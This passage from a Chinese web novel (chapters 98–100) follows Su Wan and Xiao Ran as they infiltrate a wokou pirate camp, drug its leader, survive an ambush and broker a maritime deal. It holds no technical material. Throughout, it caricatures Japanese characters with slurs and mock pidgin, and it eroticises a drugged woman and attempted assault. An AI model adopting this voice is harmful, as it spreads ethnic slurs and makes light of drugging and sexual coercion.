他一直以为，母亲的死，是宫闱倾轧的牺牲；父亲的亡，是功高震主的代价。可若真是如此，何以皇室对他避之不及，何以真相都被血色掩盖？只留下一尊冷清的寿宁公主牌位，供他在黑暗中苟延残喘。
——原来不是意外，而是谋算。
——原来不是旁人，而是至亲。
那位端坐于九五之位之上，温言软语唤他“外甥”的亲人，才是幕后编织这场噩梦的刽子手。
心脏仿佛被一只无形的手攥紧，萧染站立不稳，后退一步，才勉强支撑住身体。
苏绾眼中无悲无喜：“我知道你不甘心，我也知道你心中有怒火。如今，我有一件事需要你的帮助——”
她顿了顿，目光微冷。
“我要除掉倭寇头目，你来助我。事成之后，我们一起杀进皇宫去。有怨报怨，有仇报仇。”
沉默如死水般蔓延。
不知过了多久，萧染终于抬眸，唇角缓缓勾起一抹淡淡的笑意。
那笑，透着一丝荒凉，一丝嘲弄，更多的，却是彻底决裂后的冰冷疯狂。
他轻轻吐出一个字——
“好。”
98. 承谋
萧染不愧是毒蛇堂的堂主，仅用寥寥数个时辰，便将杭州临海的倭寇据点摸得一清二楚。
探子们带回的密报摊开在案，白纸黑字间，详细标注着倭寇藏身的废弃灯塔、盐场地窖以及渔村暗桩的位置，甚至连浪人头目的日常行踪都打听得一清二楚。
苏绾单手托着桃腮，盯着密报看了许久，蹙眉道：“也就是说，城里根本没有半个倭人的影子嘛！”
她原本计划扮作花娘潜入行院，以借机接近浪人头目，结果拜“禁倭令”所赐，所有倭寇已撤往海边据点，她的计策无从施展。
萧染懒懒倚在窗边，伸手拂去衣襟沾染的果壳，嗤笑道：“你那核桃大的脑子想出的计谋，本就不值一提。”
苏绾翻了翻白眼，攥紧小拳头，低声啐道：“可恶。”
那副娇俏模样看呆了少年的眼，细长眼眸微挑，摆出一副吊儿郎当的模样，“费那个劲干嘛？我叫人暗地刺杀头目，不就行了？”
不可。
杀了他，就没有用了。死人怎么拿来钳制殷潜呢？
苏绾轻哼一声，“你这倭人手下败将，还好意思夸下海口，刺杀人家的主子？刚到门口就被武士拿下了。”
萧染：“……你是专门往人心口撒盐啊。”
苏绾忽然眼睛一亮，指了指密报上某处标记，兴奋道：“这里写着倭人头目最爱美色，尤其喜欢‘柔弱无依’的女子。”
她想了想，“我有一个主意，不如由你扮作奴隶贩子，而我扮做南疆美人，来一出献美计。”
“不行。”萧染不答应，“倭寇据点不比行院，到处都是埋伏，全部都是敌人。万一出了差错，我救都救不回来你。”
苏绾眼中光芒微闪，“不入虎穴，焉得虎子。”
萧染摇头，“我不干了。”
下一刻他头一低，闪躲苏绾丟来的果壳。
萧染明知自己没有退出的立场，讪讪道：“我怕你演砸了嘛。倭人可不是吃素的哦，他们有专门搜罗美人的掮客，眼光毒辣得很。”
苏绾轻笑一声：“放心，我自有分寸。”
苏绾拈起一支金步摇，缓缓插入发间，指尖轻点，一缕碎发滑过肩头。她对着铜镜，唇角含笑，“这场戏……可得演得逼真些。”
“你这般熟练，莫不是常给人下套？”身后传来萧染低哑的声音，望着绝色佳人，他忍不住咽了口水。
没错，这一招，前世倒是用过的。
苏绾手腕微转，步摇在发间轻轻一晃，金色流光一闪而逝。
忽然，门外传来一声冷笑——
“哟，女儿的本事简直逆天。”
紧接着，无霜春蝉异口同声：“夫人且慢，小姐正在见客。”
苏夫人丹凤眼一斜，“我要的就是抓她正着。”她抬手一把推开两个小丫头。
无霜被推个趔趄，春蝉气不过，正要还手，却听屋内苏绾吩咐道：“让夫人进来。”
苏绾抬眸看去，见苏夫人缓步而入，素色绣鞋踩过门槛，丹凤眼微微上挑，“前儿个才勾得我那外甥秦欢发誓非你不娶，这会儿又撩上了堂侄萧染？”
她语气带笑，却字字如刀：“左一个，右一个，用完一个丢一个……当真是青出于蓝。你那做娼的娘没有白疼你。”
屋内气氛骤然冷凝。
萧染感到十分不自在，他向来不懂跟女子相处，尤其是苏夫人这种牙尖嘴利的角色。他站起身想要离开，却被苏绾扯住衣襟。
苏绾不疾不徐地转过身，裙裾微扬，黑色云纹裙摆宛如绽开的墨莲。她缓缓走向苏夫人，指尖轻轻拨弄着腕上的玉镯，笑意温和，轻得像落在水面的雨丝，
“母亲这话说的，倒像是自己没这般本事似的。”
她眉眼一弯，低头莞尔道：“也是了，母亲连自己的男人都管不住，又怎么有心思去抓别的男人呢？”
“放肆！”
苏夫人脸色骤变，扬手欲落下时，瞥见一旁的萧染脸色极其难看，已然捋起袖子准备动手。
苏夫人生生顿住。
苏绾眉梢一挑，顺势往萧染怀里一靠，惊得萧染一哆嗦，下意识地就想逃，却被苏绾暗自揪着衣角使眼色，萧染只好站着不动给她靠。
“母亲若是不怕被人听见看见，尽管闹去。”
“我自是不怕的。”苏绾抿嘴。
这两日因为殷潜遇刺，全靠秦欢高超的医术救治，殷夫人对秦欢言听计从，殷府上下皆对秦欢感恩戴德。
苏夫人脸色瞬间沉了下来，指甲狠狠掐进掌心。
她怎会不知，现如今秦欢明摆着护着苏绾，就连殷夫人也对苏绾放开了口风，扬言不再干扰他俩之间的事。
“我就是喜欢勾引男人，母亲能拿我如何？”苏绾轻笑，指尖挑起萧染的下巴，瞬间激起一片鸡皮疙瘩，她假装没看见。
“要不要女儿教教您，如何才能让男人对你死心塌地？”
那副放浪模样，闪瞎了苏夫人的眼。此一时彼一时，如今她客居殷府，竟被苏绾那贱人强行压了一头，还不敢说什么。
苏夫人深吸一口气，强自压下心头怒火，“好，好得很！我倒要看看，你这般玩弄人心，能得意到几时！”
话音落下，她猛地甩袖转身，绣鞋踏出门槛时，溅起一丝残留的雨水，带起一阵冷风。
苏夫人抬头见秦欢负手而立，静静地站在前方廊下。他身着青色直裰，白玉冠束发，眉目清润如玉，神情淡漠至极。
“夫人这般匆匆，莫不是在追什么人？还是被人追？”秦欢目光落在她绣鞋未干的水渍上，意味深长道。
苏夫人脸色一沉，冷笑道：“世侄果然风雅，连妇道人家的家事都要插手。”
秦欢不动声色地往前一步，语气仍是温和：“夫人这话就不对了。殷府待您不薄，苏绾又是姨父的侄女，府中一切自有规矩。夫人行事，若是扰了旁人清净，难免落人话柄。”
“呵。”苏夫人斜睨着他，讥讽道：“侄儿这话，倒像是在警告我？你一介外姓之人，竟也敢替殷府管教起我来了？”
秦欢微微一顿，悠然道：“外姓之人如何？总好过有些人，仗着自己是殷府的客人，却摆出主母的姿态。殷府如今是谁当家，夫人该比我更清楚。”
苏夫人神色微变，狠狠攥紧了帕子，眼底的怨毒一闪而逝。
秦欢不欲与她多言，淡淡道：“天色已晚，夫人还是早些回房吧，免得又落得一身雨气。”
说罢，他不再看她，径直抬步往苏绾的闺房走去。
苏夫人咬牙望着他的背影，终究不敢再言语，只能愤愤甩袖，气冲冲地回房去了。
屋内萧染耳尖微动，听见秦欢朝这边走来，顿时神色一变。
“糟了！”他低声嘀咕，“要是被他撞见，我还怎么当你的‘奴隶贩子’？”
苏绾笑眯眯地看着他，“那你现在逃还来得及。”
萧染瞥了一眼门口，果断抄起窗边的帘子，脚下一点，轻巧地翻窗而出，动作利落得像条滑溜的泥鳅。
苏绾忍俊不禁，刚收敛神情，便听见门外传来秦欢的声音：“表妹，可歇下了？”
她拉开房门，露出一双带着些许倦意的眸子，勾唇道：“表哥有事找我？”
秦欢睇着她，温和道：“明晚小年夜，城中灯市已开。你这几日辛苦，不如出来走走。”
苏绾微微一怔，心中迅速权衡。明夜她与萧染约定出发前往倭寇据点，实在分身乏术。
可她若是不答应，难免会让秦欢起疑。
苏绾点了点头：“既然表哥相邀，那我恭敬不如从命。”
秦欢见她答应，眸中微不可察地闪过一抹深意，“明日黄昏，我来接你。”
翌日，华灯初上，临安城灯市如昼，熙熙攘攘的人群将街道挤得水泄不通。
秦欢准时到来，长身玉立于门前，等着苏绾出来。
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等了半晌，屋内仍无动静。
秦欢推门而入，见房中桌案上点着一盏未燃尽的灯，铜镜前放着一件未穿戴的披风，似乎一切都如常。
秦欢眸光一暗，望向无霜和春蝉两位婢女，“她什么时候走的？”
无霜低下头，小声道：“小姐……小姐说不想扫了公子的兴，先一步去了灯市，让公子自行去寻……”
秦欢薄唇轻抿，目光深邃如夜。
苏绾骗了他。
苏绾借着灯市的喧嚣，从殷府后门悄然溜走，换上素衣斗篷，一路穿过小巷，直奔巷口约定地点。
夜色苍茫，巷道小路寂静无声，苏绾快步走至树林间，一辆低调的黑色马车正停在那里。
车帘被人撩起，萧染好看的脸探了出来，眉毛一扬，奇道：“他没拦着你？”
苏绾勾唇一笑，轻盈跃上马车，“废话少说，赶紧走。”
车夫马鞭一扬，马车沿着官道疾驰，朝着临海的倭寇据点奔去。
天色将明，潮声阵阵，海风带着浓烈的腥咸味扑面而来。
苏绾下了马车，换上了精心准备的南疆服饰。红色薄纱罩衣，腰间系着金铃，长发用金链编成辫饰，额间一点朱砂，使她看上去异域风情十足。
萧染则换上了粗布长袍，脸上抹了些尘土，活脱脱一位走南闯北贩卖人口的人伢子。
“记住，一会儿你就是个听话的奴隶。”萧染瞥她一眼，低声嘱咐道。
葱手拨弄着耳边的金链，苏绾慢悠悠地笑道：“放心吧，爷。”
一声娇啼令萧染浑身颤抖，骨头都酥了，他嘴角一抽，“……叫得倒是顺口。”
两人随即朝倭寇据点走去。
倭寇据点设在一座废弃的盐场，四周木桩围起，守卫森严，偶尔还能看到穿着黑衣的武士来回巡逻。
萧染带着苏绾大摇大摆地走了进去，守门的倭人见状，立刻上前盘问：“干什么的？”
萧染熟练地亮出一封假造的文书，操着一口蹩脚的倭语道：“我是从南边来的奴隶贩子，给大人带来了一件好货。”
倭人狐疑地打量了一眼苏绾，她低着头，仿佛受尽惊吓的小兽。
守卫交换了一下眼神，最终还是让开了路，“进去。”
营帐之中，倭寇头目佐藤躺在软榻榻米，怀中搂着两位衣衫不整的女子，听见有人通报，说是带来了美人，令他顿时来了兴趣。
佐藤约莫四十来岁，身形肥硕，额上有一道狰狞的刀疤，一双细长的猪眼睛透着狠辣和贪婪。他披着宽大的黑色和服，腰间别着一柄太刀，整个人散发着一股野兽般的危险气息。
当苏绾被带到他面前时，佐藤的目光瞬间被她吸引住了。
她站在帐中，乌辫轻垂，眉眼含羞，腰间金铃微晃，真真一个无依无靠的南疆美人。
佐藤盯着她看了片刻，忍不住咂舌：“花姑娘，大大的好。”
他缓缓站起身，走到苏绾面前，伸出粗糙的手指勾起她的下巴。
苏绾目光一颤，惊惶不安地望着他。
那副惹人怜爱的娇颜，看得佐藤心痒难耐，“多少钱？”
萧染眼底闪过一丝寒意，面上堆起笑意，伸出五根手指，“五百。”
“哼，你地，不老实。”佐藤冷笑一声，目光贪婪地扫过苏绾，挥手示意手下去取银票。
不多时，一叠银票被塞进了萧染手里，佐藤嗤笑着看他，“钱给你，人留下，你可以滚了。”
萧染神色微变，正要再说些什么，却见苏绾微微侧首，轻轻摇了摇头。
他心中一紧，强行忍下冲动，咬牙拱手作揖，“佐藤大人爽快，在下告辞。”
说完，他攥紧银票，转身大步离去。
帐内，只剩下苏绾与佐藤两人。
苏绾低垂着眼眸，藏在袖中的手指缓缓收紧，指甲深深陷入掌心。
猎人已入局，愿者上钩。
99. 转谋
肥腻的手指头触碰到白皙肌肤，苏绾只觉身体一僵，本能地想闪避，又不敢过于明显，顺势轻轻一侧，似惊弓之鸟，欲逃又惧。
她眉心轻蹙，唇角微抿，明明表现得顺从，却隐隐透出抗拒。天生的柔媚与骨子里的倔强交织一处，反倒更加勾人心魄。
如此羞怯模样，撩得佐藤心火大旺，眼底充满贪婪欲念，只想立刻扑倒美人。他一把拽住皓腕，粗喘着：“南疆美人，呦西呦西……”
苏绾被他扯着手腕，差点跌进令人作呕的肥腻拥抱，她赶紧佯装脚下一滑，伴随低低一声娇吟，身子骨堪堪跌向塌塌米。
岂料那胖胳膊灵活得骇人，伸手一捞，将她牢牢圈入怀中，动弹不得。火热的鼻息喷洒颈侧，夹杂着浓重的酒臭味。两片厚重的嘴唇蠕动着，眼看就要贴上粉颊。
美人忽然抬起衣袖，掩面轻咳一阵，肩膀抖个不停，似是身体有所不适。
佐藤动作一滞，警觉地眯起猪眼，上下打量着苏绾，质问道：“你地，怎么回事？”
苏绾掏出袖里的丝巾，擦拭嘴角口沫，嗓音略带倦怠：“奴家昨夜受了风寒，并无大碍。”
佐藤狐疑地盯着她，眼神充满了戒备——若是感染了天花一类的瘟疫，可不是什么好事。
苏绾垂下眼眸，似羞似怯地解释道：“奴家自幼在南疆长大，平生从未见过大海，昨夜忍不住多看了几眼，吹了些海风，才觉不适。”
这番话说得自然又信服，令佐藤警惕稍解，他舔了舔厚嘴唇，嗤得一声：“没见过大海？今天让你见识见识。”
苏绾暗暗松了口气，唇角弯起，“大人如此厚爱，奴家自然尽全力力侍奉大人。”
纤指拂过案上酒壶，自腰间悄然取出一包药粉，借衣袖遮掩，轻轻一撒，细细的粉末无声融入酒液，片刻无痕无迹。
苏绾敛眸，“奴家敬大人一杯。”
佐藤毫不察觉，见美人亲手斟酒，浑身肥肉颤抖，喜不自胜，端起酒盏一饮而尽。
一杯怎够，佐藤意兴正浓，被苏绾哄着又连饮三杯。
过了一盏茶的工夫，佐藤眼神逐渐涣散，方知情形不对，两手在桌案上一撑，身体晃来晃去定不住，“你，你……”
他强撑着抬起猪脑袋，欲喝令左右扶持，舌头却不听使唤，两眼一抹黑，庞大身躯轰然栽倒，瘫软在塌塌米上，彻底昏死过去。
哼，凭你这头倭猪，还想欺负本小姐？
苏绾玉指一勾，腰间金铃滑落，她用金铃缠绕佐藤四肢，一圈圈收紧。铃音脆生生响起，静谧的夜里轻灵回荡。
不多时，帘幕掀起，闪入一道人影，正是小侯爷萧染。
苏绾拍了拍掌心尘埃，袖口擦拭额间细汗，“这头猪死沉！”
萧染打眼瞥见佐藤昏倒在地上，暗自松了口气。他在帐外担心了许久，生怕苏绾被人欺负了去，那他连死的心都有。
苏绾冷眼睇着萧染，看他搜查屋里各处角落，寻找线索证据等文书。她轻叩额角，低声道：“情况不对啊。”
萧染嫌恶地踢弄着佐藤的身体，漫不经心道：“哪里不对？”
这一路畅通无阻，根本无人问津，未免进展得太顺利了。倭寇虽组织散乱无纪律，也不至于轻而易举就被人端了老巢。
很快，倭人给出了答案。
忽然，帐外传来一阵急促杂乱的脚步声，紧接着呼号声口哨声自四面八方交错响起。
“我们中了埋伏。”苏绾绝望道。
“怕什么？你又不是第一天上当。”萧染不以为然道。
萧染将苏绾护在身后，俯身拽起昏死的佐藤，手臂箍着肥猪脖颈，目光紧盯着闯入营帐的倭国武士。
寒气顺着脊背蔓延，死寂之感笼罩了整个营帐。
为首之人身形修长而挺拔，黑色狩衣映着月色，腰侧悬着一柄破旧的武士刀。长夜之下，他立于血影之中，宛如一尊冷漠的杀戮神祇。
武士淡然道：“好久不见。”
萧染眯起细长眼眸，盯着那名武士，“是你。”
此人，正是雨天与他交手的武士，更是刺杀殷潜的凶手。
武士微微一笑，“你记得我。”
萧染啐了一口，“化成灰小爷也认得你。”
金蝉脱壳的耻辱，刻骨铭心实难忘怀。
“放我们走，否则杀了他。”萧染的刀锋割进脖颈半分，血液渗出，被挟持之人浑然不知。
武士缓缓拔出腰间武士刀，寒芒一闪，“噗嗤”一声，刀刃没入佐藤的心脏。肥硕身躯猛然一颤，连声哀嚎都未曾发出，直挺挺地倒了下去。
空气仿佛在这一刻凝滞。
苏绾心中微震，瞳孔骤缩。
萧染亦眯起眼，腕上青筋微微跳动。
武士神色漠然，好似捏死一只无关紧要的蝼蚁，“这条狗死了，还有更多的狗。”
很显然，死去的佐藤，不过是一枚棋子。眼前这个男人，才是那群倭寇真正的主宰。
一切都是演出来的假象。
这正是倭寇惯用的伎俩——狡诈、狠毒、多疑，擅长布设陷阱，让猎物误以为握住了他们的命脉，自己躲在暗处偷袭。
武士伸手一展，“是时候来一场真正的比试较量了。”
萧染瞥了一眼身后的苏绾，她尚沉浸在余震中，眼睛睁得大大，脸色苍白，少年咬了咬牙，“你机灵点，别让人坑了去。”言毕，转身决绝出帐。
月明白露，潮起潮落。
萧染紧握长刀，指骨泛白，刀锋犹在滴血。
眼前的武士，明明实力不俗，却惯爱设局埋伏，逼人入死境后，再以正当之名挥刀斩杀，彰显所谓的“荣誉”。
荒唐至极！
空气霎时紧绷，杀机在夜色中翻涌而起。
武士骤然出刀，刀势沉稳狠辣，直取萧染咽喉。萧染微微侧身，倏地反手一挑，刀刃擦着武士面门而过。
铿！刀锋相撞，火星四溅，劲风激荡。二人瞬息交错，空气中爆开一缕血雾。
萧染肩头被划开一道血口，而武士腰侧亦被刀锋划破，鲜血渗透衣襟。
武士舔了舔刀锋血迹，“你是一个会使刀的人。”
萧染轻抹去嘴角的血，“小爷会的，比你多十倍。”
武士指着萧染的身体，鄙夷道：“你们中原人，刀法虽快，但缺乏真正的武士魂。”
见他莫名指着自己，萧染低头看去——方才交手间，长袍自肩头被划开，露出精壮结实的上身。前胸一道狰狞的天命刀疤横亘，那是半年前拜京卫指挥使时枫所留。而后背十朵蔷薇交错盛放，代表亡者的誓约。
武士盯着那道天命疤痕，缓缓道：“你败过。”
萧染冷冷道：“败过又如何？”
武士嘴角勾起一抹冷笑，“真正的武士魂，宁死不辱，绝不会苟活。”
萧染嗤笑，“苟活？在你们这些倭奴眼里，不死就是没有尊严，所以才会排着队切腹自尽。”
武士脸色微变，“切腹是武士的荣耀，死，亦要有尊严地死。”
萧染冷漠道：“可你们这些所谓的‘武士’，遇弱者便欺，遇强者便诈——这就是你所谓的‘尊严’？”
武士眼中掠过一丝阴翳，旋即笑了，“随你怎么说，你的刀，斩不了我。”
两人再次交锋，刀光如练，身形疾闪，每一次碰撞都带着撕裂空气的寒意。武士刀法狠辣精妙，萧染刀势轻灵迅疾，二人皆是生死间打磨出的高手，一招一式，皆暗藏杀机。
忽然武士刀锋翻转，迅猛劈向萧染胸口，萧染侧身堪堪避过，袖中寒光一闪，匕首直刺武士侧腰。
噗！匕首深深没入血肉。
武士瞳孔微缩，却未退后，反而狂笑一声，强忍剧痛，一记肘击狠狠砸在萧染胸口。
萧染被震得倒飞出去，重重撞在木桩，喉头一甜，喷出一口鲜血。
武士伸手拔出匕首，瞬间血流如注，“你比我好不到哪里去。”
萧染撑着长刀，缓缓站起，“对付你这种龌龊小人，防不胜防。”
营帐外围，络腮胡率领十余名毒蛇堂打手强行拼杀，现场刀光霍霍，鲜血飞溅。
络腮胡舞动长刀，横扫一片，沉声喝道：“快突围！”
杀局骤然被撕裂。可络腮胡等人虽杀入，却被倭寇拖住，一时无法支援。
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另一边，苏绾的处境同样凶险。
她被数名倭寇压制，按倒在营帐之中。
倭人嘿嘿冷笑着，手中摇晃着一个小巧的瓷瓶，“礼物给你，你地，喜欢。”
瓷瓶开启，幽幽香气弥漫。
苏绾顿时感觉不妙，立即屏住呼吸，终究慢了一步，薄雾般的香气悄然侵入鼻息。
一股异样的燥热自四肢百骸窜起，莫名点燃了身体各处，她的意识开始恍惚，整个人软软地，几乎站立不稳。
这种感觉，苏绾太熟悉了，与合欢散异曲同工。
她中了某种催情香。
苏绾狠命咬破舌尖，强行让自己保持清醒。
手腕被倭人死死钳住，催情香的药性开始发作，肌肤微微发烫，额上沁出细汗，呼吸也变得急促。
倭人狞笑着盯着她，“你真美。”
他一边说着，一边伸手摸她的脸。
苏绾张口咬住他的手指，牙齿狠狠咬下。
“啊！”倭人惨叫出声，怒不可遏，扬手便是一巴掌。
啪！这一巴掌带着几分狠劲，打得苏绾满眼冒金星，半张脸泛起红痕，嘴角渗出血迹。
意识也恍惚了。
荒凉旷野，星光点点，篝火燃燃。
玄色身影立在她身前，凤眸清冽，杀气棱棱，苏绾仿佛嗅到了那股熟悉的松香气息。
“冷静。”男人沉声道。
苏绾紧紧盯着玄色身影，喉间干涩得几乎无法言语，她有太多的话儿想要倾诉给他。
男人凤眸一转，“合欢散你吃过，京郊大营你也去过，还记得你是怎么脱身的吗？”
京郊大营？
苏绾怔了一瞬，脑海中陡然翻涌出一段尘封的记忆。
那次她被他捉去京郊大营，她在夜色中惊呼：“有蜜蜂蛰我”，骗得守卫士兵入营查探，而她趁机砸晕了那人，骑着踏月仓惶逃脱。结果又被那个家伙一声口哨，生生召唤了回来。
口技！
她心下一震，意识瞬间回笼，眼底绝望迅速退去，取而代之的是冷冽的清明。
苏绾故意放软身体，轻颤着倚靠木柱，似乎被药效折磨得神志不清。
倭人见状，露出猥琐的笑意，彼此低语几句，邪心乍起，反而放松了警惕。
苏绾舔了舔干裂的唇，微微偏头，耳朵捕捉着周围的动静，判断着彼此的距离。她喉间轻轻滚动了一下，气息随着海风飘散，试探性地发出一声低哑的声音。
“救命！”
倭人一怔，错愕地看向倒下的佐藤——那头猪应该死透了才对。
“好疼。”
倭人被连续的呼救声搞懵了，几个人凑过去，踢弄翻看佐藤的尸身。
苏绾抓住破绽，手刀砍向身旁倭人喉咙，同时抬腿狠狠踹向倭人的裆部。
“哎呦！”倭人痛得面目扭曲，惨叫着弯下腰。
苏绾趁机挣脱束缚，抄起一把倭刀，拼尽全力刺入倭人肩膀，霎时鲜血喷溅。
前方阻碍消除，苏绾扔掉倭刀，拼尽全力冲出营帐，如同京郊大营那晚一样。
海潮汹涌，夜风猎猎。
夜色下，远处传来急促的马蹄声。
“杭州府巡防营在此，所有人不许动！”冰冷而威严的声音，在倭寇据点炸响。
倭寇们循声望去，只见秦欢身穿青灰色道袍，手持布政使牙牌，带领着一队巡逻士兵，向营地疾驰而来。
他翻身下马，冷峻目光一扫，立刻锁定了苏绾的身影。
她脸色潮红，气息紊乱，站立间不稳，显然中了催情香。
秦欢心头一紧，强压下翻涌的情绪，目光冷冷扫向倭寇。
“你们胆敢违反禁倭令，擅闯杭州府境内，私运奴隶，意图造反。”
首领武士面色微变，低声命令道：“撤！”
秦欢手一挥，巡城士兵立刻冲上前，列队长枪并举，将倭人团团围住，“休得逃跑！”
场面最终得到控制，秦欢趸步来到苏绾面前，俯身将那小小身躯横腰抱起。
苏绾努力睁开迷蒙的眼，苍白手指攥着道袍衣襟，喑哑道：“我要同倭人谈话。”
100. 合谋
“我要同倭人谈话。”
见她执意如此，秦欢并未再加劝阻，而是抬眸望向首领武士，正色道：“这位姑娘并非什么南疆女奴，而是布政使殷潜的外甥女。”
“殷布政使的外甥女被歹人当街掳走，我奉布政使之命前来剿匪。”
“眼下似乎有些误会，你我当坐下会晤详谈先。”
秦欢自未见到苏绾以后，第一反应就是她又起了幺蛾子，遂细细问过无霜关于苏绾的去向。
无霜眨眨眼，终是不敢欺骗秦欢，扯着衣襟道：“小姐……同萧公子一同走了。”
秦欢眼眸一沉，当下四处寻找萧染的打手，很快就查出来两人去向。他思了一瞬，向殷夫人要了殷潜的牙牌，城门处调了巡防兵马营急奔海边据点救人。
既然对方愿意谈判，而不是抓捕他们入狱，首领武士求之不得，挥手将众人引入帐内。
眼前这一切发生的太突然，萧染呆愣望着秦欢抱着苏绾，阵风般从身边走过。他咽了下喉咙，重新穿上被割破的襕衫，衣襟前后都是划痕，不比披风遮挡了多少。
进入帐内，秦欢将苏绾放在塌塌米上，自怀里掏出布包，取出漆木盒里的银针，指腹微动，刺入苏绾周身几处穴位。
银针入体，苏绾身子轻轻一震，冷汗瞬间浸湿衣衫。她咬紧牙关，没有发出一丝痛哼，直至毒香药性被暂时封锁，她才缓缓吐出一口气，强撑着精神从他怀中直起身。
夜色深沉，海风裹挟着腥咸气息，吹得篝火火光忽明忽暗，映照出一张张或警惕、或凶狠的脸。
“我可以给你们一条活路。”苏绾颤抖着嘴唇说道。
首领武士冷笑一声，手掌搭在刀柄，“你不清醒，在说梦话。”
苏绾眸子里金石闪耀，“我有另一片海域，足够你们活动。”
篝火噼啪炸裂，带出几缕青烟，所有人的神色皆是一变，连秦欢也微微低眸。
武士：“什么意思？”
苏绾：“我把山东沿海船舶停靠权，开放给你们。”
空气瞬间凝固。
倭寇群中有人低声嗤笑。
武士脸色阴沉，“据我所知，你们几人都是‘良家子’，一介平民百姓，有何资格说大话？”
苏绾平静的目光扫过秦欢，“表哥，你同意吗？”
秦欢身形微震，眼底浮起一抹震惊的情绪。
外人皆知秦欢是悬壶济世的名医，无人知晓他暗中掌控着整个山东省海运，包括沿海商道。他的十万精兵囤积于沿海地区，上至省布政使，下至州郡县丞，皆是他安插的亲信，更有毒蛇堂执掌江湖漕运。可以说，山东的生杀予夺，尽在他一念之间。
现在，她要他让出这片海域。
秦欢望着她，胸口似被无形的手攥住，沉闷而钝痛。
他一直以为，她对他的依赖、信任，甚至那些偶尔流露出的柔软，皆是真情流露。可直到此刻，他才明白，苏绾从未对他付出真心。她的每一步，都算得清清楚楚。
她不是在寻求庇护，而是在下一盘大棋，而他，不过是她手中一枚精准落下的棋子。
可悲的是，他心甘情愿做她的棋子。
秦欢闭了闭眼，终究是压下心中翻涌的情绪，声音低沉而沙哑：
“我……同意。”
首领武士神色微怔，似乎不敢置信天上掉馅饼，“空口无凭。”
苏绾嘴唇扯了扯，“山东沿海商道繁盛，远比浙江更适合倭人立足。你们若能在那里落脚，何必苦苦与殷潜纠缠？”
随即眼色一沉，“真当我舅舅是软茄子？他昨儿个吃了你一刀，左右为自己单方面毁约付出了代价。你若死咬着他不松口，回头他同你玉石俱焚，你们可就竹篮打水一场空了。”
她说得有道理，武士细忖一番，终是认为，武士魂不该死缠着一块浮木溺死。
他嘴唇一扯，伸出交叉袖内的手：“成交。”
秦欢目光幽深，抬手与他相握。
这一刻，合约达成。
倭寇自此放弃对殷潜的复仇，而苏绾的棋局，也终于落定。
从最一开始，苏绾就是冲着谈判来的，她深知自己手里的筹码，唯有秦欢一人。可秦欢绝不肯轻易将利益拱手让给倭寇，因此也不会主动促成并参与谈判，苏绾唯有用自己为饵，以身入局，只为了引秦欢星夜驰援她。
什么迷药，奴隶，灯市，仙人跳，前番一切的一切，都是苏绾做的局。怎可能辛苦扮美人就为了抓倭寇头子？笑死人了！她以一手妙法计策，将天下人，戏弄于股掌间。
她的借刀杀人，借的是秦欢的刀，杀的是殷潜的势。至于倭寇狼子野心，苏绾也自有办法对付，此为“三连环局”。
你看见了吗？我已经达成第一局成就了，你为我这个徒弟感到自豪吗？
很快就会有第二局。
苏绾立在风中，黑发被夜风吹得凌乱，映着天际黯淡的星光，身影显得越发单薄。她望着远方，漆黑的瞳仁深不见底。没有人知道，在那双波澜不惊的眼眸里，此刻究竟藏着什么样的情绪。
离开倭寇据点，秦欢须回巡防营交接，萧染抱着苏绾，穿过荒凉的海滩，朝着来时的黑色马车走去。
怀中的美人不肯安分，身上的薄纱被冷风吹得凌乱，露出一截莹白如玉的肩膀，肌肤微微泛着异样的红晕，滚烫的体温透过衣料灼得人心悸。
此时银针封锁效果已耗尽，毒香冲破了禁锢，在苏绾的身体各处肆虐点火。她迷迷糊糊地在萧染怀里蹭了蹭，似是不满被他搂得太紧，低低地嘟囔：“热……”
萧染抱着一块烫手山芋，拿也不是，放也不是。鼻翼萦绕着若有似无的馨香，令少年满脑子都是不切实际的幻想。
指尖轻轻勾住襕衫袍子衣襟，眼尾晕着旖旎的潮红，嗓音软得不像话：“你是……谁？”
“我是你孙儿，你是我祖宗。”萧染懊恼道。
“嘻嘻，我的好大孙。”苏绾嬉闹着回应他。
“闭嘴！”他咬牙低吼，恨不得把这磨人的妖精丢下去，可她的小手这一刻紧紧扣着他的腰，勒得他一个大男人竟有些窒息。
苏绾被凶了一句，委屈地皱起娥眉，抬手假装拭泪，娇嗔道：“呜呜，你吼我？”
“吼你怎么了？你再不老实，我就把你扔进大海。”两声娇软嗫嚅，令萧染喉结滚动，额角青筋直跳，几乎要发疯。
苏绾被他的“凶狠”吓到了，嘟着粉红的小嘴道：“坏人。”
说完，她竟抬手摸上了他的脸颊，指尖带着炙热的温度，一寸寸滑过刀削斧劈般下颚线，勾着襕衫领口一点点往下探去。
破败的襕衫袍子根本禁不住拉扯，紧实胸膛外露，后背也淌着风。
苏绾先是摸到了背后的十色蔷薇，她在画舫和山寨都见过，印象里对纹身花样并不陌生。
指尖摩挲着肌肉，慢慢向前探去，摸到了那道天命疤痕——她并未亲眼见证疤痕的诞生，彼时她和晴雷正去马厩的路上。
“噫，”指尖被不平的肌理磨得生疼，令美人发出小小的不满，“它咬我。”
那一声细细的娇吟，抓挠着少年悸动的心。萧染闭上眼，下巴抵着她的额头，从牙缝里挤出怒吼：“放开你的手！”
“嗯？”苏绾迷离地望着他，唇瓣染着醉人的红，“你不想要我吗？”
少年的理智瞬间濒临崩溃。
想，怎么可能不想？她这样撩着他，搁谁能忍？！
可是，他不敢！
他狠狠咬破嘴唇，强迫自己清醒，手臂一甩，将苏绾甩进马车里，一脚踢上车门，声音发哑：“快走！”
马鞭抽下，车轮碾过泥地，疾驰而去。
按照秦欢的嘱咐，萧染并
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未返回殷府，而是将苏绾送到了之前住宿的碧霄居客栈，一路上苏绾不停地闹他，逼得少年中途差点跳车，车橼都被拳头打烂了。
此时，秦欢已经安排完毕巡防营，在客栈里等候多时，他脸色极冷地看着萧染将苏绾抱进屋内，“怎么这样迟？”
萧染喘着气，将虚弱的苏绾扔到床上，心虚道：“夜黑风高，马车绕了点路，你赶紧给她解毒。”
秦欢蹙了蹙眉，不知是嗔萧染回来迟了，还是怪他摔坏了苏绾，但他目光扫了一眼苏绾，便知她体内的毒性已到极限，遂撩起袖子翻找药箱，冷声命令：“你出去。”
萧染迟疑了一下，显然不放心。
秦欢瞥了他一眼，“她现在不需要你了。”
萧染怔愣着，一拳砸在门框，咬牙甩袖而去。
屋内烛火微晃，映得帷帐生出摇曳的暗影，昏黄的光线勾勒出女子单薄起伏的身影。
苏绾浑身发烫，肌肤泛着潮红，额角冷汗涔涔。她无意识地在床榻上翻滚，衣襟微微敞开，唇间溢出含糊不清呓语，声线柔媚而脆弱。
